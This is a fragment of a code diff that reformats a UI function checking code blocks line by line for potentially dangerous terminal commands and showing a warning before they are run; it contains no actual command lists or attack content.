'allowedWithPermission') { + const wholeBlockEval = evaluateTerminalCommandSecurity( + "allowedWithoutPermission", + codeBlockContent, + ); + if ( + wholeBlockEval === "disabled" || + wholeBlockEval === "allowedWithPermission" + ) { return true; } - + // If the whole block seems safe, check individual lines // This catches cases where dangerous commands are mixed with comments - const lines = codeBlockContent.split('\n'); + const lines = codeBlockContent.split("\n"); for (const line of lines) { const trimmedLine = line.trim(); // Skip empty lines and comments - if (!trimmedLine || trimmedLine.startsWith('#')) { + if (!trimmedLine || trimmedLine.startsWith("#")) { continue; } - - const lineEval = evaluateTerminalCommandSecurity('allowedWithoutPermission', trimmedLine); - if (lineEval === 'disabled' || lineEval === 'allowedWithPermission') { + + const lineEval = evaluateTerminalCommandSecurity( + "allowedWithoutPermission", + trimmedLine, + ); + if (lineEval === "disabled" || lineEval === "allowedWithPermission") { return true; } } @@ -326,7 +338,10 @@ export function StepContainerPreToolbar({ {securityWarning && (
- This code contains potentially dangerous commands. Please review and understand the code before running. + + This code contains potentially dangerous commands. Please review and + understand the code before running. +
)}